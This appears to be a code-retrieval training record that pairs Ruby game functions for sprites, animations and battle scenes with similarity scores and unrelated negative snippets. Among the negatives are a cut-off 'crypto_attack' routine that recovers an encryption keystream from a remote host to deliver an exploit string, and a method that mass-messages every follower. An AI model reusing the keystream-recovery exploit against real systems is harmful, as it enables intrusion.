"def pbTrainerSpriteFile(type)\n return nil if !type\n bitmapFileName = sprintf(\"Graphics/Characters/trainer%s\",getConstantName(PBTrainers,type)) rescue nil\n if !pbResolveBitmap(bitmapFileName)\n bitmapFileName = sprintf(\"Graphics/Characters/trainer%03d\",type)\n end\n return bitmapFileName\nend",
"def update_balloon\n if @balloon_duration > 0\n @balloon_duration -= 1\n if @balloon_duration > 0\n @balloon_sprite.x = x\n @balloon_sprite.y = y - oy\n @balloon_sprite.z = z + 200\n sx = balloon_frame_index * 32\n sy = (@balloon_id - 1) * 32\n @balloon_sprite.src_rect.set(sx, sy, 32, 32)\n else\n end_balloon\n end\n end\n end",
"def addSprites *sprites\n @game_actors += sprites\n end",
"def create_cutin_sprite\n @cutin = Sprite_BattleCutin.new(@viewport2)\n @cutin.z = 999\n end",
"def tick args\n args.state.angle ||= 0 # initializes angle to 0\n args.state.angle += 1 # increments angle by 1 every frame (60 times a second)\n\n # Outputs sprite using a hash\n args.outputs.sprites << {\n x: 30, # sprite position\n y: 550,\n w: 128, # sprite size\n h: 101,\n path: \"dragonruby.png\", # image path\n angle: args.state.angle, # angle\n a: 255, # alpha (transparency)\n r: 255, # color saturation\n g: 255,\n b: 255,\n tile_x: 0, # sprite sub division/tile\n tile_y: 0,\n tile_w: -1,\n tile_h: -1,\n flip_vertically: false, # don't flip sprite\n flip_horizontally: false,\n angle_anchor_x: 0.5, # rotation center set to middle\n angle_anchor_y: 0.5\n }\n\n # Outputs label using a hash\n args.outputs.labels << {\n x: 200, # label position\n y: 550,\n text: \"dragonruby\", # label text\n size_enum: 2,\n alignment_enum: 1,\n r: 155, # color saturation\n g: 50,\n b: 50,\n a: 255, # transparency\n font: \"fonts/manaspc.ttf\" # font style; without mentioned file, label won't output correctly\n }\n\n # Outputs solid using a hash\n # [X, Y, WIDTH, HEIGHT, RED, GREEN, BLUE, ALPHA]\n args.outputs.solids << {\n x: 400, # position\n y: 550,\n w: 160, # size\n h: 90,\n r: 120, # color saturation\n g: 50,\n b: 50,\n a: 255 # transparency\n }\n\n # Outputs border using a hash\n # Same parameters as a solid\n args.outputs.borders << {\n x: 600,\n y: 550,\n w: 160,\n h: 90,\n r: 120,\n g: 50,\n b: 50,\n a: 255\n }\n\n # Outputs line using a hash\n args.outputs.lines << {\n x: 900, # starting position\n y: 550,\n x2: 1200, # ending position\n y2: 550,\n r: 120, # color saturation\n g: 50,\n b: 50,\n a: 255 # transparency\n }\n\n # Outputs sprite as a primitive using a hash\n args.outputs.primitives << {\n x: 30, # position\n y: 200,\n w: 128, # size\n h: 101,\n path: \"dragonruby.png\", # image path\n angle: args.state.angle, # angle\n a: 255, # transparency\n r: 255, # color saturation\n g: 255,\n b: 255,\n tile_x: 0, # sprite sub division/tile\n tile_y: 0,\n tile_w: -1,\n tile_h: -1,\n flip_vertically: false, # don't flip\n flip_horizontally: false,\n angle_anchor_x: 0.5, # rotation center set to middle\n angle_anchor_y: 0.5\n }.sprite!\n\n # Outputs label as primitive using a hash\n args.outputs.primitives << {\n x: 200, # position\n y: 200,\n text: \"dragonruby\", # text\n size: 2,\n alignment: 1,\n r: 155, # color saturation\n g: 50,\n b: 50,\n a: 255, # transparency\n font: \"fonts/manaspc.ttf\" # font style\n }.label!\n\n # Outputs solid as primitive using a hash\n args.outputs.primitives << {\n x: 400, # position\n y: 200,\n w: 160, # size\n h: 90,\n r: 120, # color saturation\n g: 50,\n b: 50,\n a: 255 # transparency\n }.solid!\n\n # Outputs border as primitive using a hash\n # Same parameters as solid\n args.outputs.primitives << {\n x: 600, # position\n y: 200,\n w: 160, # size\n h: 90,\n r: 120, # color saturation\n g: 50,\n b: 50,\n a: 255 # transparency\n }.border!\n\n # Outputs line as primitive using a hash\n args.outputs.primitives << {\n x: 900, # starting position\n y: 200,\n x2: 1200, # ending position\n y2: 200,\n r: 120, # color saturation\n g: 50,\n b: 50,\n a: 255 # transparency\n }.line!\nend",
"def init_battleback\r\n # Make battleback sprite\r\n @battleback_sprite = Sprite.new(@viewport1)\r\n end",
"def set_graphic(character_name, character_index, face_name, face_index)\n $game_system.add_override(\"Actor_#{@id}_character_name\", character_name)\n @character_index = character_index\n $game_system.add_override(\"Actor_#{@id}_face_name\", face_name)\n @face_index = face_index\n end",
"def create_target_picture\n @target = Sprite.new(@viewport)\n @target.bitmap = Cache.picture(MAP_TARGET)\n center(@target)\n @target.opacity = 0\n end",
"def create_menu_background\n @menuback_sprite = Sprite.new\n @menuback_sprite.bitmap = $game_temp.background_bitmap\n @menuback_sprite.color.set(16, 16, 16, 128)\n update_menu_background\n end",
"def create_title_sprite\n return unless @title\n fs = 48 # Font size for title\n tw = text_width(@title, fs)\n @title_sprite = Sprite.new(@viewport)\n @title_sprite.bitmap = Bitmap.new(tw, fs)\n @title_sprite.x = Graphics.center_width(tw)\n @title_sprite.y = Graphics.height / 10\n @title_sprite.bitmap.font.size = fs\n rect = Rect.new(0, 0, tw, fs)\n @title_sprite.bitmap.draw_text(rect, @title, 1)\n end",
"def initialize(x, y = nil, img = nil, sprite_cols = nil, sprite_rows = nil, interval = 10, indices = nil, lifetime = nil,\n sound = nil, sound_ext = '.wav', sound_volume = 1)\n if x.is_a? Hash\n y = x[:y]\n img = x[:img]\n sprite_cols = x.fetch(:sprite_cols, nil)\n sprite_rows = x.fetch(:sprite_rows, nil)\n interval = x.fetch(:interval, 10)\n indices = x.fetch(:indices, nil)\n lifetime = x.fetch(:lifetime, nil)\n sound = x.fetch(:sound, nil)\n sound_ext = x.fetch(:sound_ext, '.wav')\n sound_volume = x.fetch(:sound_volume, 1)\n x = x[:x]\n end\n\n super x, y, img, sprite_cols, sprite_rows\n @elapsed_time = 0\n if indices\n @indices = indices\n else\n @indices = *(0..(@img.length - 1))\n end\n @interval = interval\n if lifetime\n @lifetime = lifetime\n else\n @lifetime = @indices.length * interval\n end\n Res.sound(sound, false, sound_ext).play(sound_volume) if sound\n end",
"def load_sprites\n\n # Sort out the logo that we'll use when it's required\n @logo_sprite = TintedSprite.new(w: 567, h: 135, path: 'vertices/sprites/logo.png')\n @logo_sprite.colourable_cycle(\n [\n [255, 10, 0, 255],\n [205, 10, 50, 255],\n [50, 10, 205, 255],\n [0, 10, 255, 255],\n [50, 10, 205, 255],\n [205, 10, 50, 255]\n ], 15\n )\n @logo_sprite.movable_location_cycle(\n [\n [(@args.grid.w - 547) / 2, 480],\n [(@args.grid.w - 567) / 2, 520],\n [(@args.grid.w - 587) / 2, 500],\n [(@args.grid.w - 567) / 2, 480],\n [(@args.grid.w - 547) / 2, 500],\n [(@args.grid.w - 567) / 2, 520],\n [(@args.grid.w - 587) / 2, 480],\n [(@args.grid.w - 567) / 2, 500]\n ], 60\n )\n\n # And the start button\n @button_sprite = TintedSprite.new(w: 256, h: 64, path: 'vertices/sprites/start.png')\n @button_sprite.movable_location((@args.grid.center_x - 128), 128)\n @button_sprite.colourable_cycle(\n [\n [255, 255, 255, 255],\n [128, 128, 128, 255]\n ], 10\n )\n\n # Lastly, music and audio icons\n @audio_sprite = TintedSprite.new(w: 50, h: 50, path: 'vertices/sprites/audioOn.png')\n @audio_sprite.movable_location((@args.grid.w - 60), 10)\n @audio_sprite.colourable_cycle(\n [\n [255, 200, 200, 128],\n [200, 200, 255, 128]\n ], 60\n )\n @music_sprite = TintedSprite.new(w: 50, h: 50, path: 'vertices/sprites/musicOn.png')\n @music_sprite.movable_location((@args.grid.w - 110), 10)\n @music_sprite.colourable_cycle(\n [\n [255, 200, 200, 128],\n [200, 200, 255, 128]\n ], 60\n )\n\n end",
"def animation_set_sprites(frame)\n cell_data = frame.cell_data\n for i in 0..15\n sprite = @animation_sprites[i]\n next if sprite == nil\n pattern = cell_data[i, 0]\n if pattern == nil or pattern == -1\n sprite.visible = false\n next\n end\n if pattern < 100\n sprite.bitmap = @animation_bitmap1\n else\n sprite.bitmap = @animation_bitmap2\n end\n sprite.visible = true\n sprite.src_rect.set(pattern % 5 * 192,\n pattern % 100 / 5 * 192, 192, 192)\n if @animation_mirror\n sprite.x = @animation_ox - cell_data[i, 1]\n sprite.y = @animation_oy + cell_data[i, 2]\n sprite.angle = (360 - cell_data[i, 4])\n sprite.mirror = (cell_data[i, 5] == 0)\n else\n sprite.x = @animation_ox + cell_data[i, 1]\n sprite.y = @animation_oy + cell_data[i, 2]\n sprite.angle = cell_data[i, 4]\n sprite.mirror = (cell_data[i, 5] == 1)\n end\n sprite.z = self.z + 300 + i\n sprite.ox = 96\n sprite.oy = 96\n sprite.zoom_x = cell_data[i, 3] / 100.0\n sprite.zoom_y = cell_data[i, 3] / 100.0\n sprite.opacity = cell_data[i, 6] * self.opacity / 255.0\n sprite.blend_type = cell_data[i, 7]\n end\n end",
"def create_target_position\n @target = Sprite.new\n return if no_target\n @target.bitmap = Cache.picture(TARGET_PICTURE)\n center_im(@target)\n @target.x = @target_x\n @target.y = @target_y\n @target.z = 14\n end",
"def render_zombies\n outputs.sprites << state.zombies.map do |z| # performs action on all zombies in the collection\n z.sprite = [z.x, z.y, 4 * 3, 8 * 3, animation_sprite(z)].sprite # sets definition for sprite, calls animation_sprite method\n z.sprite\n end\n end",
"def switch_sprites\n @viewport.tone.set(0, 0, 0, 0)\n @egg_sprite.visible = false\n @pokemon_sprite.visible = true\n end",
"def initialize(actor)\n case Equip_Menu_Syle\n when 0,2\n super(272, 64, 368, 192)\n when 1\n super(272, 64, 368, 224)\n when 3\n super(272, 64, 368, 192)\n when 4\n super(0, 64, 368, 192)\n end\n equip_size = $atoa_script['Atoa Multi Slot'] ? actor.equip_kind.size : 5 \n self.contents = Bitmap.new(width - 32, equip_size * 32)\n @actor = actor\n self.opacity = Equip_Window_Opacity\n refresh\n self.index = 0\n end",
"def anim3\n # hash to store all sprites\n balls = {}\n rects = {}\n # creates blank ball bitmap\n ball = Bitmap.new(@viewport.height/6,@viewport.height/6)\n bmp = pbBitmap(\"Graphics/EBDX/Transitions/Common/ball\")\n ball.stretch_blt(Rect.new(0,0,ball.width,ball.height),bmp,Rect.new(0,0,bmp.width,bmp.height))\n # creates necessary sprites\n for i in 0...6\n # black rectangles\n rects[\"#{i}\"] = Sprite.new(@viewport)\n rects[\"#{i}\"].bitmap = Bitmap.new(2,@viewport.height/6)\n rects[\"#{i}\"].bitmap.fill_rect(0,0,2,@viewport.height/6,Color.black)\n rects[\"#{i}\"].x = (i%2==0) ? -32 : @viewport.width+32\n rects[\"#{i}\"].ox = (i%2==0) ? 0 : 2\n rects[\"#{i}\"].y = (@viewport.height/6)*i\n rects[\"#{i}\"].zoom_x = 0\n # ballsprites\n balls[\"#{i}\"] = Sprite.new(@viewport)\n balls[\"#{i}\"].bitmap = ball\n balls[\"#{i}\"].center!\n balls[\"#{i}\"].x = rects[\"#{i}\"].x\n balls[\"#{i}\"].y = rects[\"#{i}\"].y + rects[\"#{i}\"].bitmap.height/2\n end\n # moves sprites across screen\n for j in 0...28.delta_add\n for i in 0...6\n balls[\"#{i}\"].x += ((i%2==0) ? 24 : -24)/self.delta\n balls[\"#{i}\"].angle -= ((i%2==0) ? 32 : -32)/self.delta\n rects[\"#{i}\"].zoom_x += 12/self.delta\n end\n pbWait(1)\n end\n @viewport.color = Color.black\n # disposes unused sprites\n pbDisposeSpriteHash(balls)\n pbDisposeSpriteHash(rects)\n end",
"def setup_anim_follow\n $game_temp.anim_follow = default_true\n end",
"def create_background\n @background_sprite = Plane.new\n @background_sprite.bitmap = Cache.parallax(Settings::REGISTR_WALLPAPER)\n @background_sprite.x_speed = 1\n @background_sprite.y_speed = 1\n end",
"def create_background\n @background = Sprite.new\n @background.bitmap = SceneManager.background_bitmap\n end",
"def pbTrainerSpriteFile(type)\n return nil if !type\n bitmapFileName = sprintf(\"Graphics/Trainers/trainer%s\",\n getConstantName(PBTrainers,type)) rescue nil\n if !pbResolveBitmap(bitmapFileName)\n bitmapFileName = sprintf(\"Graphics/Trainers/trainer%03d\",type)\n end\n return bitmapFileName\nend",
"def create_badge_sprites\n @badges = Array.new(BADGE_COUNT) do |index|\n sprite = Sprite.new(@viewport).set_bitmap('tcard/badges', :interface)\n sprite.set_position(BADGE_ORIGIN_COORDINATE.first + (index % 2) * BADGE_OFFSET.first,\n BADGE_ORIGIN_COORDINATE.last + (index / 2) * BADGE_OFFSET.last)\n sprite.src_rect.set((index % 2) * BADGE_SIZE.first, (index / 2) * BADGE_SIZE.last, *BADGE_SIZE)\n sprite.visible = $trainer.has_badge?(index + 1)\n next(sprite)\n end\n end",
"def setup_anim_follow\n # not sure if needed\n $game_temp.anim_follow = default_true\n end",
"def startSceneAnimation\n # Position for initial transition\n black = Sprite.new(@viewport)\n black.z = 99999\n black.full_rect(Color.black)\n # additional player sprite positioning for the Safari Zone\n if @safaribattle\n ox = []; oy = []\n for i in 0...@battle.player.length\n ox.push(@sprites[\"player_#{i}\"].x)\n oy.push(@sprites[\"player_#{i}\"].y)\n @sprites[\"player_#{i}\"].x -= 240\n @sprites[\"player_#{i}\"].y += 120\n end\n end\n # Play battle entrance, register next vector position\n vector = EliteBattle.get_vector(:MAIN, @battle)\n @vector.force\n @vector.set(vector)\n @vector.inc = 0.1\n # fade necessary sprites into scene\n for i in 0...22.delta_add\n # player sprite for Safari Zone\n if @safaribattle\n for k in 0...@battle.player.length\n @sprites[\"player_#{k}\"].opacity += 25.5.delta_sub(false)\n @sprites[\"player_#{k}\"].zoom_x = @vector.zoom1\n @sprites[\"player_#{k}\"].zoom_y = @vector.zoom1\n @sprites[\"player_#{k}\"].x += 10 if @sprites[\"player_#{k}\"].x < ox[k]\n @sprites[\"player_#{k}\"].y -= 5 if @sprites[\"player_#{k}\"].y > oy[k]\n end\n end\n # opposing trainer sprites\n if @battle.opponent && i > 11.delta_add\n for t in 0...@battle.opponent.length\n @sprites[\"trainer_#{t}\"].tone.all += 12.75.delta_sub(false) if @sprites[\"trainer_#{t}\"].tone.all < 0\n @sprites[\"trainer_#{t}\"].tone.gray += 12.75.delta_sub(false) if @sprites[\"trainer_#{t}\"].tone.gray < 0\n end\n # fade in player battler when follower is out\n if !EliteBattle.follower(@battle).nil? && !@safaribattle\n @sprites[\"pokemon_#{EliteBattle.follower(@battle)}\"].tone.all += 25.5.delta_sub(false) if @sprites[\"pokemon_#{EliteBattle.follower(@battle)}\"].tone.all < 0\n @sprites[\"pokemon_#{EliteBattle.follower(@battle)}\"].tone.gray += 25.5.delta_sub(false) if @sprites[\"pokemon_#{EliteBattle.follower(@battle)}\"].tone.gray < 0\n end\n end\n # fades screen from black\n black.opacity -= 32.delta_sub(false) if black.opacity > 0\n self.wait(1, true)\n end\n if @safaribattle\n for i in 0...@battle.player.length\n @sprites[\"player_#{i}\"].x = ox[i]\n @sprites[\"player_#{i}\"].y = oy[i]\n end\n end\n @vector.inc = 0.2\n # party line up animation\n if @battle.trainerBattle? && !EliteBattle.get(:smAnim)\n pbShowPartyLineup(0)\n pbShowPartyLineup(1)\n end\n # show databox for follower\n if !EliteBattle.follower(@battle).nil? && !@safaribattle\n @sprites[\"dataBox_#{EliteBattle.follower(@battle)}\"].appear if !EliteBattle.get(:smAnim)\n end\n # Play cry for wild Pokémon\n if @battle.wildBattle?\n @battle.pbParty(1).each_with_index do |pkmn, i|\n break if EliteBattle.get(:smAnim)\n playBattlerCry(@battlers[i*2 + 1])\n end\n pbShowPartyLineup(0) if EliteBattle::SHOW_LINEUP_WILD && !EliteBattle.get(:smAnim) && !@safaribattle\n # makes databoxes for wild battles appear\n for m in 0...@battle.pbParty(1).length\n next if !@sprites[\"dataBox_#{m*2 + 1}\"]\n @sprites[\"dataBox_#{m*2 + 1}\"].appear if !EliteBattle.get(:smAnim)\n end\n # fades tone from black\n for i in 0...16.delta_add\n for m in 0...@battle.pbParty(1).length\n next if !@sprites[\"pokemon_#{m*2 + 1}\"]\n @sprites[\"pokemon_#{m*2 + 1}\"].tone.all += 25.5.delta_sub(false) if @sprites[\"pokemon_#{m*2 + 1}\"].tone.all < 0\n @sprites[\"pokemon_#{m*2 + 1}\"].tone.gray += 25.5.delta_sub(false) if @sprites[\"pokemon_#{m*2 + 1}\"].tone.gray < 0\n end\n # fade in player battler when follower is out\n if !EliteBattle.follower(@battle).nil?\n @sprites[\"pokemon_#{EliteBattle.follower(@battle)}\"].tone.all += 25.5.delta_sub(false) if @sprites[\"pokemon_#{EliteBattle.follower(@battle)}\"].tone.all < 0\n @sprites[\"pokemon_#{EliteBattle.follower(@battle)}\"].tone.gray += 25.5.delta_sub(false) if @sprites[\"pokemon_#{EliteBattle.follower(@battle)}\"].tone.gray < 0\n end\n self.wait(1, true)\n end\n end\n # for trainer sprites\n if @battle.trainerBattle?\n # calculates the number of frames of the sprite\n frames = []\n for t in 0...@battle.opponent.length\n frames.push(@sprites[\"trainer_#{t}\"].totalFrames*2)\n end\n # animates through frames\n for i in 0...(frames.max.delta_add + 1)\n for t in 0...@battle.opponent.length\n @sprites[\"trainer_#{t}\"].play\n # fades tone from black\n @sprites[\"trainer_#{t}\"].tone.all += 25.5.delta_sub(false) if @sprites[\"trainer_#{t}\"].tone.all < 0\n @sprites[\"trainer_#{t}\"].tone.gray += 25.5.delta_sub(false) if @sprites[\"trainer_#{t}\"].tone.gray < 0\n end\n self.wait(1, true)\n end\n @integratedVSSequence.start if @integratedVSSequence\n else\n # show shiny animation for wild Pokémon\n @battle.pbParty(1).each_with_index do |pkmn, i|\n next if !@sprites[\"pokemon_#{i*2 + 1}\"]\n @sprites[\"dataBox_#{i*2 + 1}\"].inposition = true\n battler = @battlers[i*2 + 1]\n if shinyBattler?(battler) && @battle.battlescene && !EliteBattle.get(:smAnim)\n pbCommonAnimation(\"Shiny\", battler, nil)\n end\n end\n end\n # animates Sun/Moon styled VS sequence for trainer\n @smTrainerSequence.start if @smTrainerSequence\n # animates special VS sequence for species\n @smSpeciesSequence.start if @smSpeciesSequence\n end",
"def initialize(x, y, img, sprite_cols = nil, sprite_rows = nil, retro = nil)\n @x = x; @y = y\n retro = Res.retro_images if retro.nil?\n @img =\n if sprite_cols.nil?\n [Res.img(img, false, false, '.png', retro)]\n else\n Res.imgs img, sprite_cols, sprite_rows, false, '.png', retro\n end\n @anim_counter = 0\n @img_index = 0\n @index_index = 0\n @animate_once_control = 0\n end",
"def setup_fadein\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n sprite.fadein(@acts[1])\n end",
"def main()\n \n for i in 0...$enemy_info.length do\n \n EditImage(\n $enemy_info[i][0],\n $enemy_info[i][2][0],\n $enemy_info[i][2][1],\n $enemy_info[i][2][2],\n $enemy_info[i][2][3],\n $enemy_info[i][3]\n )\n \n end \n\n\nend",
"def create_enemy(pos, movement, enemy_type = :enemy1)\n sprite, life, amplitude, tags =\n case enemy_type\n when :enemy1 then [@screen.make_basic_enemy_sprite, 20, rand * 20, [:enemy]]\n when :enemy2 then [@screen.make_enemy2_enemy_sprite, 400, 40, [:enemy, :boss]]\n when :honda then [@screen.make_flying_honda, 1000, 0, [:enemy, :boss]]\n when :mario_kart_fish then [@screen.make_mario_kart_fish, 1000, 0, [:enemy, :boss, :rotating, :mario_kart_fish]]\n else fail enemy_type.to_s\n end\n traj = SinusoidalTraj.new(@clock, pos, movement, amplitude, rand * 0.05, rand)\n enemy = Enemy.new(sprite, traj).with(:life => life, :tags => tags)\n enemy.revolutions_per_second = 0 if enemy_type == :mario_kart_fish\n return enemy\n end"
] |
[
"0.6765057",
"0.6732406",
"0.6731488",
"0.6675855",
"0.6648297",
"0.64864844",
"0.6442998",
"0.6386315",
"0.638057",
"0.6354336",
"0.6308734",
"0.6243068",
"0.62347287",
"0.62156254",
"0.6199578",
"0.6186388",
"0.6129895",
"0.61244035",
"0.61062926",
"0.6093964",
"0.6084211",
"0.6058208",
"0.6045981",
"0.6031757",
"0.6028762",
"0.602346",
"0.60001546",
"0.5988598",
"0.59753513",
"0.59653324",
"0.59442663",
"0.5915007",
"0.5896924",
"0.5890863",
"0.5865689",
"0.5858168",
"0.5836156",
"0.5827751",
"0.580772",
"0.5806209",
"0.5794898",
"0.5793875",
"0.5783309",
"0.57779807",
"0.57680374",
"0.575906",
"0.5754437",
"0.57538706",
"0.57523954",
"0.5748399",
"0.57472694",
"0.5740703",
"0.57324183",
"0.5728232",
"0.57095397",
"0.5683075",
"0.5678582",
"0.56635225",
"0.56534094",
"0.5653193",
"0.5649274",
"0.5647613",
"0.564474",
"0.56343585",
"0.563169",
"0.5628638",
"0.56255823",
"0.56059754",
"0.5590507",
"0.5589758",
"0.55891037",
"0.55832446",
"0.55818623",
"0.55817366",
"0.5576539",
"0.5576262",
"0.5575989",
"0.5570303",
"0.5570255",
"0.5553498",
"0.5536465",
"0.5532459",
"0.55321264",
"0.5519361",
"0.5518473",
"0.5515309",
"0.55070585",
"0.5504134",
"0.5502674",
"0.54948425",
"0.5493248",
"0.5493049",
"0.54852736",
"0.54834825",
"0.5482494",
"0.5476995",
"0.5466139",
"0.5456691",
"0.54467547",
"0.54418266"
] |
0.79256856
|
0
|
Falcao pearl abs main update
|
def update_falcao_pearl_abs
if @user_move_distance[0] > 0 and not moving?
move_forward ; @user_move_distance[0] -= 1
end
return if battler.nil?
update_pearlabs_timing
update_followers_attack if self.is_a?(Game_Follower) && self.visible?
if @targeting[2] != nil
load_abs_tool(@targeting[1]) if battler.is_a?(Game_Actor)
@targeting = [false, item=nil, char=nil]
end
update_battler_collapse
update_state_effects
@combodata.each {|combo|
if combo[3] > 0
combo[3] -= 1
if combo[3] == 0
perform_combo(combo[0], combo[1], combo[2])
@combodata.delete(combo)
end
break
end}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update() end",
"def update ; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update\n \n end",
"def update\n \t\n end",
"def update\n \t\n end",
"def update\r\n\r\n end",
"def update;end",
"def update\r\n # write some gangsta code here\r\n end",
"def update()\n end",
"def update\n \n end",
"def update\n ;\n end",
"def update; end",
"def update\r\n end",
"def update\r\n end",
"def update\r\n end",
"def update\r\n end",
"def update \n end",
"def update \n end",
"def update\r\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n\t\t\n\t\tend",
"def update\n \n end",
"def update\n \n end",
"def update\n \n end",
"def update\n \n end",
"def update\n \n end",
"def update\n \n end",
"def update\n \n end",
"def update\n \n end",
"def update\n \n end",
"def update\n \n end",
"def update\n\t\tend",
"def update\n\t\tend",
"def update\n \n end",
"def update\n \n end",
"def update\n\n\tend",
"def update\n\n\tend",
"def update(...)\n end",
"def update\n #Nothing necessary\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end"
] |
[
"0.7496783",
"0.7321052",
"0.70610684",
"0.70610684",
"0.70610684",
"0.70610684",
"0.70610684",
"0.70610684",
"0.70610684",
"0.70610684",
"0.69224954",
"0.6892194",
"0.6892194",
"0.6832148",
"0.6830373",
"0.6825163",
"0.68197507",
"0.6816905",
"0.6767827",
"0.6682031",
"0.6669155",
"0.6669155",
"0.6669155",
"0.6669155",
"0.66590416",
"0.65695566",
"0.6552525",
"0.65493613",
"0.65493613",
"0.65493613",
"0.65493613",
"0.65493613",
"0.65493613",
"0.65493613",
"0.65493613",
"0.65493613",
"0.65493613",
"0.65493613",
"0.65195525",
"0.64148796",
"0.64148796",
"0.64148796",
"0.64148796",
"0.64148796",
"0.64148796",
"0.64148796",
"0.64148796",
"0.64148796",
"0.64148796",
"0.64008135",
"0.64008135",
"0.63975257",
"0.63975257",
"0.6389405",
"0.6389405",
"0.63886094",
"0.6384617",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614",
"0.63782614"
] |
0.64179426
|
39
|
======================================================================== followers attacks engine
|
def fo_tool
return actor.equips[0] if actor.primary_use == 1
return actor.equips[1] if actor.primary_use == 2
return actor.assigned_item if actor.primary_use == 3
return actor.assigned_item2 if actor.primary_use == 4
return actor.assigned_item3 if actor.primary_use == 5
return actor.assigned_item4 if actor.primary_use == 6
return actor.assigned_skill if actor.primary_use == 7
return actor.assigned_skill2 if actor.primary_use == 8
return actor.assigned_skill3 if actor.primary_use == 9
return actor.assigned_skill4 if actor.primary_use == 10
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def ygg_attacker() ; return nil ; end",
"def follow_steve\n return if username == \"steve\"\n steve = Hacker.first(:username => 'steve')\n return if steve.nil?\n\n follow! steve\n steve.follow! self\n end",
"def spam_my_followers(message)\n followers_list.each {|follower|\n dm(follower, message)\n }\n end",
"def follow\n\n end",
"def follow\n # logger.debug2 \"Giftfollow: follow = #{read_attribute(:follow)} (#{read_attribute(:follow).class.name})\"\n return nil unless (extended_follow = read_attribute(:follow))\n encrypt_remove_pre_and_postfix(extended_follow, 'follow', 31)\n end",
"def brute_exploit(addrs)\n end",
"def reply_neg\n puts 'AWW BOO'\n # byebug\n friend_deny=Follow.find_by(follower_id: follow_params[:user2], followee_id: decode_jwt(cookies.signed[:jwt])[\"user_id\"])\n if friend_deny.destroy\n render json: {friend_deny: 'success'}\n else\n render json: {friend_deny: 'failure'}\n end\n end",
"def follow_unfollowing_user\n # Following new users\n # followers - following = need to follow\n begin\n followers = get_followers\n followings = get_followings\n need_to_follow = followers - followings\n rescue\n error_log 'error in follow_unfollowing_user'\n end\n\n log \"need to follow: \"\n for id in need_to_follow do\n log \" #{id}\"\n end\n\n for id in need_to_follow do\n follow_user id\n end\n\n return followings.size + need_to_follow.size\n end",
"def mermithization_unstrictured_hersed()\n technonomy(wrangler)\n sock_reassociate_supratemporal(jacket_gloomingly, metrometer, urtica_siegecraft)\n end",
"def toggle_follow\n #user.toggle_follow!(celebrity) process 22, comment out this one\n #current_user.toggle_follow!(:user_id) process 44, comment out this one\n current_user.toggle_follow!(@post.user) #to get user object of the poster who post something 4\n redirect_to :back #66\n end",
"def follow_steve\n return if username == \"steve\"\n steve = User.first(:username => 'steve')\n return if steve.nil?\n\n follow! steve\n steve.follow! self\n end",
"def following? hacker\n following.include? hacker\n end",
"def following? hacker\n following.include? hacker\n end",
"def follow_suggest\n User.all_but(self).map { |usr| usr unless following?(usr) }.compact\n end",
"def follow\n if request.post?\n fo_ids = params[:follow] \n #fo_str = \"\"\n #fo_cnt = fo_ids.length - 1\n #for i in 0..fo_cnt\n # fo_str +=fo_ids[i].to_s\n # fo_str += \",\" unless fo_cnt == i\n #end\n \n fo_ids.each do |fid|\n hydra = Typhoeus::Hydra.new\n uri = \"http://api.twitter.com/1/friendships/create.json\"\n req = Typhoeus::Request.new(uri,\n :method =>\"post\",\n :params =>{:user_id=>fid, :include_entities=>\"true\"})\n \n sign_request(req,uri)\n hydra.queue(req)\n hydra.run\n #puts req.response.inspect\n end\n end\n redirect_to :action=>\"index\", :page=>\"1\" \n end",
"def crypto_attack(exploit_string)\r\n getsin_msg = fetch_getsin\r\n if getsin_msg.nil?\r\n return nil\r\n end\r\n\r\n getsin_kp = 'GetSIN' + datastore['LHOST'] + '|'\r\n keystream = get_keystream(getsin_msg, getsin_kp)\r\n\r\n if keystream.length < exploit_string.length\r\n missing_bytecount = exploit_string.length - keystream.length\r\n\r\n print_status(\"Missing #{missing_bytecount} bytes of keystream ...\")\r\n\r\n inferrence_segment = ''\r\n brute_max = 4\r\n\r\n if missing_bytecount > brute_max\r\n print_status(\"Using inferrence attack ...\")\r\n\r\n # Offsets to monitor for changes\r\n target_offset_range = []\r\n for i in (keystream.length + brute_max)..(keystream.length + missing_bytecount - 1)\r\n target_offset_range << i\r\n end\r\n\r\n # Store inference results\r\n inference_results = {}\r\n\r\n # As long as we haven't fully recovered all offsets through inference\r\n # We keep our observation window in a circular buffer with 4 slots with the buffer running between [head, tail]\r\n getsin_observation = [''] * 4\r\n buffer_head = 0\r\n\r\n for i in 0..2\r\n getsin_observation[i] = [fetch_getsin].pack('H*')\r\n Rex.sleep(0.5)\r\n end\r\n\r\n buffer_tail = 3\r\n\r\n # Actual inference attack happens here\r\n while !target_offset_range.empty?\r\n getsin_observation[buffer_tail] = [fetch_getsin].pack('H*')\r\n Rex.sleep(0.5)\r\n\r\n # We check if we spot a change within a position between two consecutive items within our circular buffer\r\n # (assuming preceding entries are static in that position) we observed a 'carry', ie. our observed position went from 9 to 0\r\n 